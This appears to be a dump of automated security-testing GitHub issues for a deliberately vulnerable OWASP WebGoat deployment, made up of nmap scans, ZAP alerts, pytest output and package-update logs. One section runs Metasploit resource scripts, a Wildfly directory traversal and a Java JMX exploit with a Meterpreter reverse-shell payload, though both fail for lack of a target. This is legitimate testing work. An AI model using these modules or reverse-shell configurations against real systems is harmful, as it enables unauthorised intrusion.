postgresql-client-common postgresql-common python3-certifi

python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

libx11-6 libx11-data libxpm4 locales openssh-client openssh-server

openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13

postgresql-client-common postgresql-common python3-certifi

python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 https://deb.parrot.sh/parrot parrot InRelease

Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 (https://nmap.org) at 2023-11-06 23:54 UTC

Nmap scan report for 40.80.86.52

Host is up (0.20s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 d7:f6:07:05:04:79:e1:96:c0:23:78:cb:8a:aa:bf:17 (ECDSA)

|_ 256 4d:06:ad:7d:70:60:48:96:ed:95:b1:dd:0f:63:a8:19 (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

|_http-title: Site doesn't have a title.

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 06 Nov 2023 23:57:57 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest, HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Mon, 06 Nov 2023 23:57:56 GMT

9090/tcp open zeus-admin?

| fingerprint-strings:

| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Mon, 06 Nov 2023 23:57:56 GMT

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-11-06T23:57:56.537+00:00",

| "status" : 404,

| "error" : "Not Found",

| "path" : "/"

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Mon, 06 Nov 2023 23:58:14 GMT

| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-11-06T23:58:14.160+00:00",

| "status" : 404,

| "error" : "Not Found",

|_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port8080-TCP:V=7.92%I=7%D=11/6%Time=65497D84%P=x86_64-pc-linux-gnu%r(Ge

SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close

SF: Content-Length: 0 Date: Mon, 06 Nov 2023 23:57:5

SF:6 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Mon, 06\x

SF:20Nov 2023 23:57:56 GMT

")%r(RTSPRequest,42,"HTTP/1.1\n

SF:x20400 Bad Request Content-Length: 0 Connection: clos

SF:e

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found \n

SF:nConnection: close Content-Length: 0 Date: Mon, 06

SF:0Nov 2023 23:57:57 GMT

")%r(Socks5,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-

SF:Length: 0 Connection: close

")%r(Help,42,"HTTP/1.1

SF:400 Bad Request Content-Length: 0 Connection: close

SF:

")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Cont

SF:ent-Length: 0 Connection: close

")%r(TerminalServerCook

SF:ie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co

SF:nnection: close

")%r(TLSSessionReq,42,"HTTP/1.1 400 Ba

SF:d Request Content-Length: 0 Connection: close

")%

SF:r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:

SF:00 Connection: close

")%r(SMBProgNeg,42,"HTTP/1.1 400\n

SF:x20Bad Request Content-Length: 0 Connection: close

SF: ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Leng

SF:th: 0 Connection: close

")%r(LDAPSearchReq,42,"HTTP/1.

SF:1 400 Bad Request Content-Length: 0 Connection: cl

SF:ose

")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request Co

SF:ntent-Length: 0 Connection: close

")%r(WMSRequest,42,"H

SF:TTP/1.1 400 Bad Request Content-Length: 0 Connection

SF:: close

")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reques

SF:t Content-Length: 0 Connection: close

");

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port9090-TCP:V=7.92%I=7%D=11/6%Time=65497D84%P=x86_64-pc-linux-gnu%r(Ge

SF:tRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cach

SF:e-Control: no-cache, no-store, max-age=0, must-revalidate

SF: X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fra

SF:me-Options: DENY Date: Mon, 06 Nov 2023 23:57:56\x

SF:20GMT Connection: close Vary: Origin Vary: Access-Con

SF:trol-Request-Method Vary: Access-Control-Request-Headers X-Con

SF:tent-Type-Options: nosniff Content-Type: application/json \n

SF:r { \"timestamp\" : \"2023-11-06T23:57:56.537+00:00\"

SF:, \"status\" : 404, \"error\" : \"Not

SF:Found\", \"path\" : \"/\" }")%r(WMSRequest,42,"HTTP/1.

SF:1 400 Bad Request Content-Length: 0 Connection: cl

SF:ose

")%r(ibm-db2-das,42,"HTTP/1.1 400 Bad Request C

SF:ontent-Length: 0 Connection: close

")%r(SqueezeCenter_C

SF:LI,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co

SF:nnection: close

")%r(GenericLines,42,"HTTP/1.1 400 Bad

SF: Request Content-Length: 0 Connection: close

")%r

SF:(HTTPOptions,22B,"HTTP/1.1 404 Not Found Expires: 0

SF:Cache-Control: no-cache, no-store, max-age=0, must-revalida

SF:te X-XSS-Protection: 1; mode=block Pragma: no-cache X

SF:-Frame-Options: DENY Date: Mon, 06 Nov 2023 23:58:

SF:14 GMT Allow: GET, HEAD, POST, PUT, DELETE, TRA

SF:CE, OPTIONS, PATCH Connection: close Vary: Origin

SF:Vary: Access-Control-Request-Method Vary: Access-Control-Reque

SF:st-Headers X-Content-Type-Options: nosniff Content-Type: ap

SF:plication/json

{ \"timestamp\" : \"2023-11-06T23:

SF:58:14.160+00:00\", \"status\" : 404, \"error\n

SF:" : \"Not Found\", \"path\" : \"/\" }")%r(RTSP

SF:Request,42,"HTTP/1.1 400 Bad Request Content-Length: 0\n

SF:r Connection: close

");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linux*kernel:2.6.32 cpe:/o:linux:linux*kernel:3 cpe:/o:linux:linux*kernel:4.2 cpe:/o:linux:linux*kernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Fireware 11.8 (86%), Linux 3.10 - 3.16 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 11 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 ... 10

11 6303.02 ms 40.80.86.52

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 322.63 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (https://nmap.org) at 2023-11-07 00:00 UTC

Nmap scan report for 40.80.86.52

Host is up (0.20s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (https://nmap.org) at 2023-11-07 00:00 UTC

Nmap scan report for 40.80.86.52

Host is up (0.20s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.21 seconds

Priority High - Snyk Report

GitHub Issue number # 676

GitHub Issue URL : Here!

Snyk_scan
"priotity High"

Snyk Scan for OWASP WebGoat

Go to https://app.snyk.io/org/pradyumna-muppirala for full report of Snyk with Github SSO.

Priotity-High Pytest-Playwright Test Output Issue

GitHub Issue number # 675

GitHub Issue URL : Here!

Playwright
pytest
"priority High"

Starting pytests....

============================= test session starts ==============================

platform linux -- Python 3.10.12, pytest-7.4.3, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: base-url-2.0.0, playwright-0.4.3, tornasync-0.6.0.post2, anyio-4.0.0, asyncio-0.21.1, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

=================================== PASSES ===================================

============================== 5 passed in 26.81s ==============================

Stop pytests....

Priotity-High Metasploit-ParrotOS Test output

GitHub Issue number # 674

GitHub Issue URL : Here!

parrotOS
metasploit
"priority High"

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetched 19.6 MB in 26s (754 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Hit:1 https://deb.parrot.sh/parrot parrot InRelease
Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

==========

Metasploit Framework Exploit Demo :

==========

Target Web Goat Instance IP Address : 20.193.243.54

Possible Metasploit exploits or auxilaries or payloads, that can used for attacking

==========

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploit*wildfly*dir_traversal.rc for ERB directives.

resource (./src/exploit*wildfly*dir*traversal.rc)> use auxiliary/scanner/http/wildfly*traversal

resource (./src/exploit*wildfly*dir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVE*FILE*PATH standalone

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*wildfly*dir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*wildfly*dir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploit*wildfly*dir_traversal.rc)> exit

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploit*java*jmx*reverse*https.rc for ERB directives.

resource (./src/exploit*java*jmx*reverse*https.rc)> use exploit/multi/misc/java*jmx*server

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploit*java*jmx*reverse*https.rc)> show options

Module options (exploit/multi/misc/java*jmx*server):

Name Current Setting Required Description

---- --------------- -------- -----------

JMXRMI jmxrmi yes The name where the JMX RMI interface is bound

JMX_PASSWORD no The password to interact with an authenticated JMX endpoint

JMX_ROLE no The role to interact with an authenticated JMX endpoint

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 172.17.0.2 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

---

0 Generic (Java Payload)

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*java*jmx*reverse*https.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*java*jmx*reverse*https.rc)> use payload/java/meterpreter/
reverse_https

resource (./src/exploit*java*jmx*reverse*https.rc)> exploit

[*] Payload Handler Started as Job

resource (./src/exploit*java*jmx*reverse*https.rc)> exit

==========

Priority-High - OWASP WebGoat Landing Page ZAP Scan

GitHub Issue number # 673

GitHub Issue URL : Here!

- Site: http://20.193.243.54:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://20.193.243.54:8080/WebGoat/login
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://20.193.243.54:8080/WebGoat/login
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://20.193.243.54:8080/WebGoat/login
  - **Cookie No HttpOnly Flag** [10010] total: 1:
    - http://20.193.243.54:8080/WebGoat/start.mvc
  - **Cookie Slack Detector** [90027] total: 2:
    - http://20.193.243.54:8080/WebGoat/login
    - http://20.193.243.54:8080/WebGoat/start.mvc
  - **Cookie without SameSite Attribute** [10054] total: 1:
    - http://20.193.243.54:8080/WebGoat/start.mvc
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://20.193.243.54:8080/WebGoat/login
  - **Base64 Disclosure** [10094] total: 1:
    - http://20.193.243.54:8080/WebGoat/start.mvc
  - **Non-Storable Content** [10049] total: 1:
    - http://20.193.243.54:8080/WebGoat/start.mvc
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - http://20.193.243.54:8080/sitemap.xml
    - http://20.193.243.54:8080/WebGoat/login
    - http://20.193.243.54:8080/WebGoat/start.mvc
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - http://20.193.243.54:8080/sitemap.xml
    - http://20.193.243.54:8080/WebGoat/login
    - http://20.193.243.54:8080/WebGoat/start.mvc
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - http://20.193.243.54:8080/sitemap.xml
    - http://20.193.243.54:8080/WebGoat/login
    - http://20.193.243.54:8080/WebGoat/start.mvc
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - http://20.193.243.54:8080/sitemap.xml
    - http://20.193.243.54:8080/WebGoat/login
    - http://20.193.243.54:8080/WebGoat/start.mvc
  - **Session Management Response Identified** [10112] total: 2:
    - http://20.193.243.54:8080/WebGoat/start.mvc
    - http://20.193.243.54:8080/WebGoat/start.mvc
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://20.193.243.54:8080/
    - http://20.193.243.54:8080/robots.txt
    - http://20.193.243.54:8080/sitemap.xml
    - http://20.193.243.54:8080/WebGoat/login
  - **User Agent Fuzzer** [10104] total: 24:
    - http://20.193.243.54:8080/WebGoat
    - http://20.193.243.54:8080/WebGoat
    - http://20.193.243.54:8080/WebGoat
    - http://20.193.243.54:8080/WebGoat

        - http://20.193.243.54:8080/WebGoat
        - ..

View the following link to download the report. RunnerID:6774114667

- Site: http://40.80.86.52:8080 **New Alerts**
    - **Absence of Anti-CSRF Tokens** [10202] total: 1:
        - http://40.80.86.52:8080/WebGoat/login
    - **Anti-CSRF Tokens Check** [20012] total: 1:
        - http://40.80.86.52:8080/WebGoat/login
    - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
        - http://40.80.86.52:8080/WebGoat/login
    - **Permissions Policy Header Not Set** [10063] total: 1:
        - http://40.80.86.52:8080/WebGoat/login
    - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
        - http://40.80.86.52:8080/
        - http://40.80.86.52:8080/robots.txt
        - http://40.80.86.52:8080/sitemap.xml
        - http://40.80.86.52:8080/WebGoat/login
    - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
        - http://40.80.86.52:8080/
        - http://40.80.86.52:8080/robots.txt
        - http://40.80.86.52:8080/sitemap.xml
        - http://40.80.86.52:8080/WebGoat/login
    - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
        - http://40.80.86.52:8080/
        - http://40.80.86.52:8080/robots.txt
        - http://40.80.86.52:8080/sitemap.xml
        - http://40.80.86.52:8080/WebGoat/login
    - **Sec-Fetch-User Header is Missing** [90005] total: 4:
        - http://40.80.86.52:8080/
        - http://40.80.86.52:8080/robots.txt
        - http://40.80.86.52:8080/sitemap.xml
        - http://40.80.86.52:8080/WebGoat/login
    - **Storable and Cacheable Content** [10049] total: 4:
        - http://40.80.86.52:8080/
        - http://40.80.86.52:8080/robots.txt
        - http://40.80.86.52:8080/sitemap.xml
        - http://40.80.86.52:8080/WebGoat/login
    - **User Agent Fuzzer** [10104] total: 12:
        - http://40.80.86.52:8080/WebGoat
        - http://40.80.86.52:8080/WebGoat
        - http://40.80.86.52:8080/WebGoat
        - http://40.80.86.52:8080/WebGoat
        - http://40.80.86.52:8080/WebGoat
        - ..

View the following link to download the report. RunnerID:6767447543

- Site: http://40.80.86.52:8080 **New Alerts**
    - **Cookie No HttpOnly Flag** [10010] total: 1:
        - http://40.80.86.52:8080/WebGoat/start.mvc
    - **Cookie Slack Detector** [90027] total: 2:
        - http://40.80.86.52:8080/WebGoat/login
        - http://40.80.86.52:8080/WebGoat/start.mvc
    - **Cookie without SameSite Attribute** [10054] total: 1:
        - http://40.80.86.52:8080/WebGoat/start.mvc
    - **Base64 Disclosure** [10094] total: 1:
        - http://40.80.86.52:8080/WebGoat/start.mvc

- **Session Management Response Identified** [10112] total: 2:
  - http://40.80.86.52:8080/WebGoat/start.mvc
  - http://40.80.86.52:8080/WebGoat/start.mvc

View the following link to download the report. RunnerID:6808541754

Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 672

GitHub Issue URL : Here!

parrotOS
nmap
"priority Medium"

Nmap vulnerability scanning
for 20.193.243.54

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Ign:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Ign:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Fetched 19.6 MB in 1min 2s (316 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.

Ign:1 https://deb.parrot.sh/parrot parrot InRelease

Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Hit:1 https://deb.parrot.sh/parrot parrot InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 (https://nmap.org) at 2023-11-06 17:18 UTC

Nmap scan report for 20.193.243.54

Host is up (0.22s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 a9:11:c1:0c:73:6a:26:7e:bb:6c:fb:a9:5a:de:b9:bf (ECDSA)

|_ 256 89:54:53:26:b0:23:fd:71:90:fc:87:9e:9e:57:ec:02 (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 06 Nov 2023 17:21:51 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest, HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Mon, 06 Nov 2023 17:21:50 GMT

|_http-title: Site doesn't have a title.

9090/tcp open zeus-admin?

| fingerprint-strings:

| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Mon, 06 Nov 2023 17:21:50 GMT

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-11-06T17:21:50.047+00:00",

| "status" : 404,

| "error" : "Not Found",

| "path" : "/"

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Mon, 06 Nov 2023 17:22:07 GMT

| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-11-06T17:22:07.970+00:00",

| "status" : 404,

| "error" : "Not Found",

|_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port8080-TCP:V=7.92%I=7%D=11/6%Time=654920AE%P=x86_64-pc-linux-gnu%r(Ge

SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close

SF: Content-Length: 0 Date: Mon, 06 Nov 2023 17:21:5

SF:0 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Mon, 06\x

SF:20Nov 2023 17:21:50 GMT

")%r(RTSPRequest,42,"HTTP/1.1\n

SF:x20400 Bad Request Content-Length: 0 Connection: clos

SF:e

